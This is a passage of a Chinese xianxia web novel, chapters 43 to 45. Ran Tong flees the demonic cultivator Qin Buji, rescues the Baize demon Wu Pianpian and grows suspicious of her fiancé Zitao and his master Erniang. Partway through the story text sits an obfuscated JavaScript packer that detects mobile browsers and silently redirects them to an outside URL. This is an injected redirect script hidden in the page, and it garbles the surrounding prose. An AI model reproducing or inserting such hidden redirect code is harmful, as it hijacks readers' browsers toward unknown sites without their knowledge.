秦不羁做梦都猜不到冉彤怀揣此宝,已被阻停的符箓遽然直飞面门,金光迸射,耀目欲盲,十万雷霆般的爆炸声充斥寰宇,地表腾起蘑菇形的火云,飞沙走石腾扬数里。 冉彤作为施放者,周围三尺自带专用护盾。扔出符箓后她立刻抓起女妖逃跑,被爆炸的声浪和气流推动着向烟阵外飞驰。 片时功夫,秦不羁紧追而来,这莽汉不愧是名扬天下的魔修,硬扛下一张震爆符还能动弹。 “冉丫头,你敢暗算老子!” 秦不羁衣服炸成褴褛,浑身被熏得黢黑,咆哮时两排牙齿和眼白雪亮发光,瞧着叫人胆寒。 他以冉彤无法捕捉的速度追上来,挥拳砸向她的后颈。 冉彤提前将女妖用力扔向远方,转身举双手格挡,真没想到老魔送的这对冰河犀护腕这么快就救了她一命。 勉强架住秦不羁的铁拳,她的左腕已开裂,赶紧忍痛用右手扔出两张震爆符。 这样厉害的符箓一张就极为难得,谁能算到她会搞批发。 也是冉彤做人有底线,记着秦不羁传功的恩惠和秦万岁的情谊,否则直接多甩几张轰死他。 教训未远,秦不羁不敢与符箓有任何接触,提速躲避。 这情形也不出老魔预计,七张符箓互通感应,捕获敌人的气息后,即便没有接触,其他符箓会在一个时辰内持续攻击此人。 秦不羁又算岔了,被这两张会自主飞行的符箓贴住。 刹那间天地失色,万道火光齐发,犹如星辰崩碎,熔岩奔流,爆炸的冲击波像巨大陨石撞向地面,吹散了高空中的云彩。 白泽女妖还在惯性作用下横空飞行,眼看要被爆炸波及,一个人影冲破烟云追上来抓住她的左臂,带她飞离险境。 女妖惊疑凝视少女坚毅的侧脸,仍对她做恶意揣度,厉声吼叫:“你休想霸占我的内丹,我要叫子涛杀了你!” 爆炸声掩盖了她的呼喊,冉彤听不见,猜得到,用神识传音警告她:“我看在你哥哥份上才救你,若敢乱来,就把你扔还给秦不羁。” 女妖愣了一下,愤怒回复:“你杀了我哥哥,还想骗我!” “我没见过你哥哥,他死后我才偶然得到他的内丹,靠一点丹片获救,所以拿他当恩人。信不信由你,我数三声,你若执意与我为敌,我便放手。” 冉彤撬动对方心理防线后快速数数,数完“二”,女妖慌道:“别!我姑且信你就是!” 保命要紧,比起那黑脸恶霸,还是这丫头安全些。 爆炸停止,冉彤察觉秦不羁仍在活动,遁速比之前锐减,可依然快她不少。 飞下去迟早会被他赶上,再用震爆符又会伤他性命,得另想对策。 她果断降落在密林中,拿出隐身法阵就地躲藏。 真佩服老魔的先见之明,为她选购了最实用的法宝,眼下能否脱身全靠这隔绝神识的法阵了。 43.聊天 秦不羁来得好快,倏忽赶到冉彤二人的藏身地附近。 他被炸得只剩一条破破烂烂的裤衩,周身遍布深可见肉的血痕,四肢肩背多处骨折,右眼血肉模糊,几经失明,几百年没受过这么严重的伤。 “冉丫头,我要把你挫骨扬灰!” 他感知到冉彤和女妖的气息就消失在这一带,断定她俩没逃走,正收敛神识藏在某个地方。欲搜捕,身体委实支撑不住,骂骂咧咧落在地势较高的山顶,调息疗伤,同时监视山下的动静。 冉彤藏身的位置刚好能望见他,这老鬼上了大当,双方的梁子定然解不开了,日后可得小心绝不能单独碰到他。 她用冰心诀治疗手腕,那女妖也试图挣脱秦不羁的束缚咒,努力半晌终是徒劳。 冉彤看她急得满头大汗,劝说:“别费力气了,回头我请人帮你解开。” 这法阵对外还有隔音功效,不妨大声说话。 女妖气鼓鼓白她一眼,傲慢地转过头去。 冉彤正牌千金出身,比她更会耍大小姐脾气,冷笑着背对她。 僵持一会儿,女妖先忍不住发问:“喂,你叫什么名字?” 冉彤像墙壁,毫无反应,女妖嗔怪:“你聋了吗?跟你什么说话怎不回答?” 冉彤刻薄道:“我不跟畜生讲话。” 女妖大怒:“你敢骂我畜生,我有白泽族的王族血统,比你这人族贱民强得多!” 冉彤讽刺:“不管人族妖族,不懂礼貌的都是畜生。你修炼上千年才化形为人,可惜还不会说人话。” 女妖粉面似火烧,奈何冉彤占尽道理,要斗嘴得先换个角度,否则自取其辱。 “……本小姐并非不懂礼仪,是怕你这野丫头听不懂,才用适合你的风格讲话。” 冉彤假笑两声,转身抬起左手隔空啪啪啪连抽她几个耳光,女妖脸颊登时像红皮萝卜高高肿起,气急叫嚷:“你敢打我!” 冉彤面色阴冷:“我打得就是你这糊涂东西,明知我为救你差点把命搭进去,这半天一句感谢的话没有还敢跟我摆架子。要不是我这只手还没好利索,能把你那张臭嘴扇后颈窝去你信不信?” 她在江湖上摸爬滚打一两年,早发现动手比动嘴方便,有的蠢人天生迟钝,□□疼痛才能震撼他们的心灵。 女妖无力反抗,受不住这屈辱,泪汪汪哭骂:“我为什么要感谢你?你吃了我哥哥的内丹,就是个坏人!” 她激动地摇晃脑袋。右边鹿角突然被冉彤紧紧拽住,脑门挨了一记爆栗。 冉彤在家常这么教训堂弟,这白泽女妖岁数比她大,可外表心智还像稚气未脱的少女,她欺负起来完全没负担。 “说你蠢还真的蠢,我吃你哥哥内丹前他都死得不能再死了,况且我不吃他的内丹哪儿来的命救你?这点道理都搞不清,我看你不是白泽是白痴。” 女妖斗不过也骂不过,呜呜哭道:“你如此羞辱我,子涛绝不会放过你。” 她再三提起这个名字,冉彤猜是她的靠山,问:“那子涛是什么东西?有多能耐?” 女妖瞪着她,语气重新强硬。 “他是我的未婚夫,即将成为我族最强大的战士,你们所有人都不是他的对手。” 语气兼具恐吓、炫耀,看得出极为信任对方的人品及能力。 冉彤质疑:“你们白泽不擅杀伐,自古被人追着东躲西藏,什么时候出了这号人物?” 女妖最恨外人贬低,被按住鹿角也要吼叫反驳:“别狗眼看人低,上古时代白泽族出过好几任兽族妖王,我们的祖灵大人就是其中之一。若不是你们人族百般阴谋迫害,我族岂会凋零?不过那些屈辱已经过去了,子涛会在祖灵大人庇佑下重启血脉之力,到时定要叫你们血债血偿。” 语调升至最激昂,左脸又挨了一巴掌。 冉彤淡定嘲谩:“能不能好好说话,疯吼啥呢。” 女妖羞怒欲狂,不住尖叫哭喊:“死丫头,有种你放开我!” “我要是能解开秦不羁的咒术,十个你都打不过。” “你算什么东西,狗仗人势的坏蛋!” “我可不是狗,也没仗谁的势,从没见过你这么没学识教养的化形妖怪,有空多读点书吧。” “你……我就是没学识怎么了?还不都是你们这些恶人害的,从一出生就不停逃难,哪有功夫读书?你们人族的书里满篇礼义廉耻,可有谁真正做到了?只会倚强凌弱,损人利己,比我们妖族坏多了!” 女妖涕泪横飞抒发着对人族的偏见,冉彤听她提到身世,联想起自家逃难的日子,推己及人,立时心软,松开鹿角坐回原处。 “你有闲心跟我吵架不如自求多福,秦不羁若一直守在这儿,我们都别想逃。” 她一冷场,女妖便演不了独角戏,怒哼着躺下,背着冉彤偷瞄山顶上的人影。 那魔头看 来不会善罢甘休,她们躲在这儿真的安全吗? 冉彤相信老魔会凭追踪禁制找到她,最迟日落前就能获救。 只要秦不羁别在这期间搞幺蛾子。 日头仿佛勤奋的蜗牛,带动地面上的影子缓慢移动,冉彤见秦不羁头顶渐渐聚集黑云,伤势正在持续恢复中,焦虑一点点累积,侵蚀着她的镇定。 女妖也在担忧,这法阵貌似只有隐藏功能,倘若那凶汉伤愈,有的是办法逼她们现身。 她为抵抗咒术耗损了很多灵力,此时又累又饿,趁冉彤不注意,偷偷啃身下的青草。 冉彤正凝神警戒,马上发现她的小动作。 妖修在羽化登仙前都不能断食,这白泽女妖想是饿了。 她身上还带着一些自己培植的丛生香荃,取出几株递到女妖嘴边。 “没有毒,吃吧。” 女妖急需补充灵力,也不懂什么叫“嗟来之食”,认为冉彤重视她才给吃的,高傲地哼了一声,咬住灵草嚼了两下,皱着脸嫌弃:“真难吃。” 冉彤又递上两株老魔培植的香荃,女妖尝了尝,大口吃起来。 “这个还凑合。” 她乖乖吃东西的样子还算可爱,冉彤大致摸清她的脾气,觉得尚在容忍范围内。既冒险救了她,若再讨厌她,吃亏的就是自己,可能的话还是想尽量结个善缘。 “喂,你叫什么名字啊?” 女妖扭头不睬:“你不是说不懂礼貌是畜生?本小姐不爱跟畜生讲话。” “学舌倒挺快,下辈子变鹦鹉吧。” “你这么会骂人,上辈子一定是泼妇!” “嘿嘿,那我这辈子继续当泼妇,不会受欺负。” “待会儿等那恶人伤好了,你这辈子就到头了。” “那你也能早点变鹦鹉了。” “你讨厌!” 女妖骂完咽下食物,毫不羞赧地说:“这种蓝花香荃还有吗?再给我几株。” 老魔培植的灵草当属极品,是她从没吃过的美味。 冉彤惊诧有人的厚脸皮居然能与她旗鼓相当,奚落:“你刚骂了我,还好意思管我要吃的?” 女妖嗔怪:“你又不吃草,留着不是占地方?” 她这么理所当然,冉彤不捉弄怪难受的,笑着揶揄:“这些灵草是我留着喂灵宠的,你先答应做我的灵宠我就给你。” 女妖愠怒:“不给算了,小气鬼!” 她再度躺倒,穿著靴子不舒服,索性脱掉光着后蹄,少时,裙子里伸出一条白色的鹿尾,鞭子似的晃动着,驱赶周围的飞蚊。 冉彤没达到目的,追问:“你吃了我的东西,总该告诉我你叫什么。” “谁理你啊。” 女妖存心气人,可是斗不过狡猾的少女。 冉彤沉下脸质诘:“你不敢说名字,难不成是在冒充那位白泽仁兄的妹妹?” 女妖猛然翻身挣扎坐起,小脸又红成柿子:“鬼才冒充呢!” “那你哥哥叫什么?我丑话说在前头,那秦不羁原本挺赏识我,要不是为了报恩,我也不会跟他反目。你若敢冒充恩人的妹妹,我绝不饶你。” 女妖受不得冤屈,大声说:“我哥哥叫武月晓,我是他妹妹武翩翩!” 冉彤如愿以偿,转笑调侃:“翩翩这名字倒蛮好听的。” 武翩翩看出她在使诈,叱骂:“你根本不知道我哥哥的名字,又骗人!” 冉彤煞有介事道:“我没忘记他的恩德就算对得起他了。你也该记住我对你的救命之恩,再骂人就是恩将仇报。” 像是在呼应她这句话,法阵外突然响起秦不羁炸裂般的怒吼。 “恩将仇报的死丫头,今日休想活命!” 那老鬼暂时控制住伤情,起身挥舞双拳,先向西南方甩出一个大如城门的黑火球,浓墨般的黑焰泼地,森林化为乌有。 秦不羁蓄力一阵,紧挨着火场释放第二波三途烽燹,又一片森林烧成白地。 见他地毯式清场,冉彤和武翩翩大惊失色。 “再不跑我们会被烧死的!” 武翩翩慌骇尖叫,随即意识到逃跑也是同样的下场。 冉彤已恢复冷静,剩余的四张震爆符足够制敌,就怕老秦再挨一张会没命。 这老鬼固然凶恶,却不曾害过我,还是万岁前辈唯一的亲人,如非必要真不想杀死他。 两难时分,一个人影突然闪现在她和武翩翩中间,唬得她们同时起跳,武翩翩身体被缚,刚离地便重重摔落,右眼埋在草丛里,露出的左眼紧盯着那人。 冉彤已看清来人,这是个身穿粉红花衣,背挎大红葫芦的小老头儿,眉毛胡子头发没有一根是黑的,脸上皮肤却如婴儿般细嫩光滑,大鼻子红又高,大眼睛黑而圆,说他是老头儿太年轻,说年轻又显老,用鹤发童颜来形容最贴切。 这小老头儿正是当日在德康城用乾坤挪移阵同她交换《云影仙踪记》的神秘修士。 那时冉彤披着周羽珞的皮,受映真镜保护,没让他看穿真容,而老头儿走时删除了她的相关记忆,所以此刻二人重逢不相识,都以看陌生人的眼光审视对方。 “小姑娘,你胆儿可真肥。” 老头儿率先露笑,咧嘴亮出一口整齐的大白牙,眼睛眯成月牙形,看上去挺和善。 冉彤瞧不出这老头儿的修为,判断至少在极境中期以上,否则谁见了秦不羁那疯样不逃跑?还有闲心躲在这儿跟她打招呼。 她镇静回应:“前辈的胆子也不小,看来不知道那纵火烧山的疯汉是谁。” 老头儿嘴咧得更大,想是觉得不雅观,连忙伸手捂住,笑够方说:“我不止认识他,还跟他很熟呢。对了,我还知道你,你叫彤儿对吧。” 他表情突然狰狞,见冉彤反应惊恐,又恶作剧得逞似的捂住肚子狂笑:“毕竟是小姑娘,定力还差得远呢。” 冉彤绷紧神经按住储物袋,准备抽取震爆符。 老头儿知道她想干嘛,忙比出制止的手势:“跟你闹着玩呢 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冉彤谨防他是冲着老魔来的,不敢掉以轻心,小心打听:“这么说前辈是秦不羁的至交了,敢问可是万象圣尊旗下?” 老头儿直率点头:“没错,我叫王霸,看你是个有见识的丫头,想必听说过。” 冉彤岂止听过,“瞒天过海”王霸也是白子落手下干将,在“十柱石”中排名第八。 据说这老头儿诡计多端,精通幻术,着过他道的人不计其数。 双方交谈时,秦不羁继续放火。 他重伤未愈,拼着老命泄愤,数次释放三途烽火后灵力衰竭,用不了多久就会油尽灯枯。 王霸看了直啧嘴:“这秦三哥还是这么鲁莽,我得赶紧劝劝他。你们待在这儿莫动,等我劝走他再离开。” 王霸腾空飞出法阵,秦不羁察觉异动,也不仔细查看,暴躁地扔出火球。 若他状态正常,王霸硬接就是托大,这会儿倒能轻松应对,罡风一出吹散那穷弩之末的黑火。 “三哥,别乱来!” 他赶在秦不羁踉跄前飞过去架住他。 秦不羁照脸啐他:“王八蛋,怎么是你?” 王霸皱着眉头擦了擦脸,假笑:“是万岁让我来的,半日不见,三哥为何弄到如此狼狈?莫非那白泽兽有了厉害的保镖?” 秦不羁脑门上的青筋几乎撑破皮肤,愤恨低吼:“哪有什么厉害保镖,是个忘恩负义的死丫头,她和那泽兽就躲在这林子里,待我放火烧死她们!” 王霸用力拦住他,好言劝告:“你伤得太重,不能再动用法力了,让小弟送你回客栈疗伤吧。” “老子没事!” 秦不羁狠狠推开他,满嘴血沫飞溅地骂道:“那姓冉的死丫头太没良心了,我和万岁救过她性命,我还破例把‘三途烽燹’传给她,万岁对她更好,连君上恩赐的映真镜都送她了,未曾想她翅膀还没长硬就敢反咬老子!老子今天不弄死她道心要毁!” 冉彤听得憋屈,暗骂:“不是我没良心,是你非要造孽,秦万岁摊上你这种老子真倒了血霉,没病也会被你害得遭天谴。” 武翩翩听了秦不羁的话,始信冉彤没骗人,她的确为救她断送了一条上好的人脉,当得起舍己为人为四字。 于是对她恶意全消,有点感激也有点愧疚。 王霸按住秦不羁的胳膊,不住口说:“三哥消消气,那丫头是很可恶,我听了都火大。可你已然伤了元气,再乱来恐危及性命。你不管别的,难道连万岁也不在乎了?那孩子只你一个依靠,你那么顾惜他,正该保重自个儿啊。” 他切中要害,成功唤回秦不羁的理智。 这莽汉一跤坐倒,喘着粗气说:“罢了,今日暂留那丫头一命。且待我养好伤再同她算账,就是追到天涯海角也要宰了她。” 王霸使劲点头:“嗯,正是这个理。万岁这会儿该等着急了,我们快回去吧。” 他搀起秦不羁,遁光一闪远去无踪。 冉彤等了一会儿,确定他们不会复返,这才收了法阵,低头看着武翩翩说:“你是想留在这儿等你的子涛,还是跟我走?” 武翩翩仍有些别扭,嘟哝:“你要去哪儿?” “城里有个叫胡员外的化形狐妖是我长辈的朋友,兴许能解开你身上的咒术,你若信得过我,我便带你去找他。” 武翩翩知道那胡员外,点头依从。 冉彤背着她低空飞向松阳城,路上谎称自己姓童,是个无父无母的流浪儿。 距离城门十几里地时,一只飞车组成的仪仗队追上她们。 那些飞车都由沉香木打造,雕刻精美花纹,镶嵌众多贵重珠宝,拉车的火眼金睛兽披着紫金辔头,珍珠罩衫。单看排场便知主人非富即贵。 武翩翩惊喜:“是子涛!” 她叫冉彤停下,等待仪仗队靠近。 冉彤正好奇那子涛是何许人,仔细瞩目观望。 车队在她们身前横停,中间最大最豪华的四轮车上走下一位白衣红袍的青年男修。 这人身材高大,白皙斯文,长了一双似醉非醉的桃花眼,两边卧蚕丰满,眼尾略带红晕,真是个风流倜傥的美男子。 “子涛!” 武翩翩欣喜呼唤,迫不及待想向对方撒娇。 冉彤看到那子涛的第一眼只感觉奇怪。 之前听武翩翩介绍还以为她的未婚夫也是白泽兽,可这个男子分明是人类,怎么就成了她的族人呢? 44.犯险 子涛亲自上前接住舞翩翩,根据她所中咒术一眼猜出她的遭遇。 “翩翩,你遇上秦不羁了?” 武翩翩眼眶里涌起后怕的泪水,委屈道:“我差点死在那恶人手里,是这姓童的小丫头救了我。” 子涛已暗中端详过冉彤,听了武翩翩的话后向她致谢行礼:“童姑娘救了我家翩翩,大恩大德,定当报答。” 冉彤见他没识破封无牙的幻术,估计真实修为就是对外展现的那样,只有极境初期,想再试试他的法力,客套两句后说: “翩翩姐中了秦不羁的束缚咒,还请先生设法解除。” 武翩翩跟着娇嚷:“对啊,我被捆得难受死了,子涛快帮我解开。” 子涛尝试解咒,武翩翩恢复行动力,可身体依然僵硬,咒术解除得不够彻底。 “秦不羁的咒术太霸道,看来只有二娘能清除,我这便请她来。” 他施术联系二娘,冉彤小声问武翩翩:“二娘又是谁?” 武翩翩说:“她是子涛的师父,法力高强,人也极好,你见了定会喜欢。” 冉彤又问:“她也是妖修吗?” 武翩翩斜眼瞪她:“是又如何?你还敢瞧不起她?” 说话时,空中红光凝聚,光束落地变成一位雾鬓风鬟的黑衣女郎。 她看来二十四五年纪,容貌清丽,身形窈窕,行动时摇曳生姿,由内到外洋溢着高贵典雅的气质,且灵力非凡,是个修为莫测的大妖。 子涛接住二娘,请她为武翩翩解咒。 二娘轻松清除了余下的咒力,安慰武翩翩:“你受惊了,那秦不羁竟贼心不死追来松阳,此人活着终是祸患,日后我和子涛定会替你除掉他。” 子涛附和:“不用等太久,最迟后天我就能杀了他。” 武翩翩说:“秦不羁受了重伤,可‘瞒天过海’王霸正守着他,不是那么好对付的。” 子涛自信微笑:“待我功成,别说王霸,就是他主子白子落也不值一提。” 冉彤全神贯注观察那二娘,自对方露面,她就感觉此女身上有一种似曾接触过的妖气,心中隐隐不安。 武翩翩忽然抓住二娘的右手,盯着她的手背惊呼:“二娘,你受伤了?” “遇到点意外,不碍事。” 看到二娘右手背上紫色的烧伤痕迹,冉彤像被暗地里扑出的怪兽狠狠咬了一口,惊惧得手脚冰凉。 她就是昨晚在徐宅做乱的蚊女! 我真是鬼迷心窍,误救歹人,老祖宗的话真没错,管闲事要遭殃。 她急忙思索如何不惹怀疑地摆脱这些人,武翩翩的手不合时宜地指过来。 “二娘,她就是救我的人。” 她原意是替冉彤邀功,却气得后者暗中大骂,怨她让凶手注意到自己。 其实即便武翩翩不多嘴,那二娘也已审视她多时。 昨晚见面时冉彤还是胖丫头,女妖没突破映真镜防御,这会儿还认不出她。只觉得这丫头身上疑点不少,态度温婉地询问:“小姑娘你修为不高,是如何重伤秦不羁的?” 武翩翩抢话:“她有极厉害的爆破符,只用了三张就把那恶贼炸个半死。” 二娘笑道:“如此说来定是珍稀的重宝了,若还有剩余,可否借我一观?” 武翩翩怂恿冉彤展示符箓,冉彤没好气道:“若有多余的符箓,我会领着你布阵躲藏吗?” “对哦,好可惜,二娘也擅长画符,要是还有剩的,她定能仿制一些送你。” 冉彤相信这傻大姐用意是好的,可是脑子太蠢,乱发善心只会帮倒忙。 她正想跑路,被恐慌干扰的脑筋及时畅通,心下惊疑:老鬼早上去捉妖,这都过去大半天了,这蚊女还好端端的,难道他失手了? 以老魔的法力落败的可能性微乎其微,但河里淹死会水的,秦不羁不就刚在她这个小辈手上栽了大跟头?老魔当初就是吃了败仗才被封印千年,至今仍不改缺心眼毛病,安知不会再上当? 她越想心里越发毛,对老魔的担忧压倒了眼前的险境。 这个靠山不能倒,我得弄清楚情况。 她胆子历来够用,面色如常地问二娘:“敢问前辈手上的伤是怎么来的呢?晚辈无意冒犯,是瞧着这伤势有点眼熟。” 她成功引起子涛和二娘的关注,子涛先问:“姑娘见过类似的烧伤?” 冉彤流利应答:“去年有个魔道妖人袭击了缥缈城的离恨天总坛,此事诸位想必听说过。晚辈前阵子曾遇到一位离恨天的修士,他手上也有紫色的灼痕,据说就是被那魔头所伤。” 子涛和二娘不动声色,武翩翩问二娘:“您也遇上那魔头了?” 二娘微笑:“难说。” 冉彤最会察言观色,见状更疑心老魔出事了,借奉承试探:“听说那魔头手段毒辣,难逢对手,前辈能自他手下全身而退,也是一等一的高人。晚辈佩服之至。” 子涛瞅着二娘说:“你早看出那人是谁,为何不告诉我?否则刚才就……” 他断掉的句子像钩子扯住冉彤的心尖,看来他们刚才真和老魔碰过面,但彼此都没能奈何对方。 稍后她注意到子涛语气里的责备。 敢跟师父这么说话,不止放肆,还是另一方纵容的结果。 因为二娘非但不生气,还柔声哄他:“我都答应你了,何必再追究这些小事呢。过了今晚我们谁都不怕了。” 武翩翩后知后觉,这时方醒悟到子涛刚才为何说“最迟后天就能杀了秦不羁”,惊喜:“子涛今晚真能大功告成?” 子涛含笑点头,使眼色阻止她追问。 冉彤紧急梳理错综复杂的信息,提炼出主要线索。 根据武翩翩的说法,这子涛在修炼一门神功。 蚊女在松阳持续采集活人精血,多半就是助其练功。 先前老魔出于某种原因没能制服歹徒,最大的可能是让他们逃脱了。 这子涛今晚就能大功告成,铁定会和那二娘搞出什么大动作。 他们昨天还教唆徐才捕猎修士,说明仍需精血供应,眼下又信心十足说今晚功成,不就是要用极端法门加速吗? 单是这过程就会害死无数人,让他得逞后的结果更不堪设想。 目前有三种方案供冉彤选择。 第一,逃出去向松阳的修真界预警。 她不知道妖怪的具体信息容易打草惊蛇,再说松阳那帮管事的都靠不住,多半还会先怀疑上她。 第二,独善其身,火速跑路。 她救了武翩翩性命,现在走这些人应该不会阻拦,凡事量力而行,没道理逼她一个小菜鸟做英雄。可是,这坏蛋练成邪功,极有可能先拿老魔开刀,她将因一时的苟安蒙受难以挽回的损失。 第三,打入敌人内部,用自身作标记,等待老魔前来降妖。 比较以后,她决定选第三种,用性命赌老魔的实力。 她“谦恭”地恳求子涛:“晚辈怕秦不羁报复,想暂时向您求一个安身之所,不知可否?” 子涛见武翩翩看向他,爽快道:“姑娘是翩翩的恩人,我自当尽心庇护,请随我们去家中安顿吧。” 冉彤谢过,上前拽住武翩翩的衣袖,讨好道:“翩翩姐,接下来靠你照应了。” 武翩翩正想不失体面地还她人情,看她主动放低姿态,怀着暗爽高傲奚落:“你倒挺会见风使舵,也罢,从现在起你就跟着本小姐吧,老实安分,我会照着你的。” 她带冉彤登上子涛的飞车,两个人并排而坐。 冉彤想随时绑架她做人质才粘着她,子涛跟来在门口叮嘱:“翩翩,我和二娘商量点事,你们先回吧,叫人好生款待童姑娘,今晚别出门了。” 武翩翩问:“我也想参加今晚的仪式,你在帮我求求祖灵大人。” 子涛柔声拒绝:“大人不会同意的,你乖乖听话,明天一早我就来迎接你。” 他吩咐车辆起步,冉彤见车队飞往东南方,问武翩翩:“你们不住松阳城里?” 武翩翩说:“子涛在城里有住处,经常进城办事,我都住在他的庄园,再往南八十里就到了。” 冉彤套话:“我看子涛前辈像人类,你为什么说他是你的族人?” 武翩翩支吾:“你管那么多干嘛?想知道以后再打听。” “你们认识很久了?几时订的婚?” “也没有很久,差不多一年吧。” “相处这么短你就答应嫁给他,真够心大。” “你又嘴欠!我和子涛的婚事是祖灵大人决定的,为了我族的复兴,我愿意嫁给任何人。” 武翩翩像在隐藏重大机密,话到这儿不肯再说,警告冉彤别乱发问。 冉彤提高涉险程度,问她知不知道松阳的人口失踪案。 “知道啊,那行凶的蚊子精已被打死了。” “可我听胡员外说那蚊子精品行端正,是被冤枉的。” “这我就不清楚了,反正死的都是人类,跟我没关系。” “我也是人类,要是真凶还活着,说不定下个受害者就是我。” “不会的,二娘法术那么高,子涛也快炼成神功了,只要你好生巴结本小姐,我保证让你今后横着走。” 看武翩翩的反应当真不了解实情,冉彤更对子涛和二娘的阴谋充满好奇,只盼老魔快些到来。 他没抓到凶手就该来找我啊,这会儿又跑哪儿瞎忙活去了? 这一天老魔的行程比她更惊险紧凑。 清晨他寻着徐才的逃跑路线来到凶手们的窝点,竟是影月宗所在地。 他没必要跟凶犯讲礼数,径直穿越层层禁制直抵宗主吴敬轩身处的大堂,放到现场所有门人,森严下令:“快把徐才交出来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798028|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吴敬轩岁数不大,修为一般,处事却很老练,从容不迫地答复他:“前辈可是来追究徐才协助妖修杀人采血一事的?吴某追查此人多日,已掌握他全部犯罪证据,方才将其就地正法了。” 他挥挥手,徐才的尸体飞坠到室内,已死了好几个时辰。 弃卒保帅,卸磨杀驴,这些恶毒伎俩老魔早看腻了,若非此行的主要目的是替封七郎洗冤,需真凭实据为证,他肯定当场灭了姓吴的。 他用行动代替言语,灵力威压天崩似的压向吴敬轩。 那人瞬间跪倒,拼命施法抵挡,双膝下的地裂仍迅速扩大,不久丧失反抗力,被悬空吊起拉向老魔。 “你想干什么!” 他惊急呼喊,注视冰山般凛冽静默的老魔,感觉对方的修为比预计的更高深。 和歹人废话只会脏了舌头,老魔准备直接搜魂揪出其同伙。 蓦地,脚下地面遽然收缩,和家具砖墙立柱一道被吸入一个旋涡状的坑洞。 房屋坍塌,本该飞腾的烟尘一股脑向下涌,所有事物都逃不过那坑洞的吸力,连过路的飞鸟都被拉了进去。 饕餮噬空术! 老魔看出施术者是谁,默念定身咒,身上涌出熊熊金红色火舌。 火焰被坑洞贪婪吞噬,洞内气流转速骤减,当减速至停顿时,气流反向旋转,消化不良似的将刚刚吸入的烈火猛烈喷吐出来。 巨大的火柱直抵穹顶,老魔施法将其变作长龙,飞向他的左前方。 龙身盘曲,似乎卷住了什么东西。 老魔抬右手,手指握拳,火龙收缩成球状,挤压着中心的事物。 在场人等全力抵御高手斗法带来的灵压,猛听得惊天动地一声巨响,火球爆裂,火苗、火星未能飞散便被强大的灵力融化,消失殆尽。 一个俊秀纤细的白衣少年背手站在爆炸原点,额头一点鲜红的梅花印娇艳欲滴,越发显得他肤如凝脂,面如好女。 少年展示出的法力更在老魔之上,不认识他的人也能想到他的实际年龄与外表大相径庭。 老魔冲淡的心境被怒气晕染,逐一记起这阴狠小人的种种劣迹。 吴敬轩已在少年解救下脱险,急步上前向他一揖到地。 “多谢陈淳老祖搭救。” 这少年正是离恨天太上长老之一的陈淳,此前被树妖杀害的平野居士的师父。 他岁数比老魔略小,论辈分,老魔还曾是他的师叔。 可这见利忘义的小子老早叛出师门投靠离恨天,此后挖空心思跟老魔作对。老魔被关进黑狱一千年,此人功不可没。 老魔深知现有法力敌不过陈淳,若被他识破身份真是糟糕至极。 陈淳观察老魔已久,罢战后先摆出斯文人的姿态示好:“这位小友身手不凡,不知师承何人?” 老魔庆幸带着冉彤给的映真镜,没叫这厮看穿,同时暗暗讥讽陈淳。 过了一千年他的修为还未能超越白子落,枉自给毗沙当狗了。 他没还礼,泰定地甩冷脸:“阁下身为离恨天太上长老,今日想是来主持公道的。这吴敬轩教唆手下杀人采血,持续作恶十余年,近日又栽赃嫁祸,残害无辜。不知陈长老打算如何处置?” 陈淳微微蹙眉:“竟有此事?小友可有凭证?” 要不是老魔熟知他的无耻嘴脸,真要被他的演技骗过去。 “我就是人证,吴敬轩的手下徐才是替他行凶的爪牙之一,家中埋藏数万受害者的遗骨。徐才昨晚逃脱后被其灭口,尸体你想必已看过了。” 吴敬轩大声狡辩:“老祖在上,晚辈冤枉啊!那徐才确实受封七郎蛊惑杀了很多人,晚辈调查后将其抓捕归案,依律正法。这位前辈不明缘由,硬要诬陷晚辈是主谋,一言不合便大打出手,还求老祖为晚辈做主,否则这松阳城的事晚辈今后断不敢再管了。” 陈淳沉吟片刻,摊手道:“这么说,此案是死无对证了?老夫又不能招回那徐才的魂魄审问,一时半会儿如何断得清?” 他看着老魔,缓步走近,雌雄莫辨的笑脸如花解语,以商量的口吻说道:“老夫猜小友是受人之托前来查案,如今人犯已死,案件急切之中难有进展。小友莫若先回去转告委托人,就说离恨天对此案极为重视,未来这些时日老夫会坐镇松阳,亲自督办他们彻查。一有结果立刻通知汝等,小友意下如何?” 聪明人知进退,老魔也不想跟陈淳正面硬刚,趁他忌惮封无牙一家的势力,先行退避。 轻轻瞟他一眼,面无表情说:“陈长老的意思未尝不可,那就先请了。” 陈淳在老魔离去前一刻大喝。 “且慢!” 老魔准备迎战,却听他恢复慢悠悠的腔调,笑问:“小友不愿透露来历,总该告诉老夫你叫什么吧。” 老魔冷笑:“无名之辈何足长老挂齿,告辞。” 45.问责 老魔一闪而逝,吴敬轩忙向陈淳进言:“这是个危险人物,老祖何不当场擒杀,放其离去恐为后患啊。” 陈淳懒得看他,冷语道:“此人是封无牙派来的,那老蚊子可不好对付。都怪你办事不利,怎会想到去招惹他一家?若非千重师姐嘱托,老夫真不想替你收拾这烂摊子。” 吴敬轩赔笑:“老祖见谅,晚辈都是在替离恨天办事啊。谁让那封七郎多管闲事,自己硬往刀口上撞,晚辈为了办成贵派交付的任务,只好拿他开刀了。 陈淳叹气:“事已至此,只好将错就错。接下来你打算如何?” 吴敬轩说:“晚辈已向松阳修真界广发请帖,邀他们今晚参加诛杀凶妖的庆功宴,先坐实封七郎的罪名,其他人再想翻案就难了。” 这套操作符合规范,陈淳又问:“那地方还没堵上,后续再被人议论,你们准备找什么借口?” “……这个确实不好办,只好走一步看一步。” “哼,你们该学学昌宁云家,他们办事就比你们周全。” “昌宁的情况出现得早,云家比我们有经验,势力也雄厚许多,这点我们委实难同他们比较。还请老祖体谅我们的难处,晚辈定会尽最大努力保障松阳一带的安定。” 吴敬轩请陈淳去专为他安排的接待处歇息,陈淳不屑道:“老夫好清静,这些事就不用你们操心了。你且专心当差,老夫去别处逛逛,如遇危机自会回来。” 他多年未来松阳,离开影月宗,在城里随处溜达。不经意地看到路边一座告示栏,瞅见上面冉彤的通缉令。 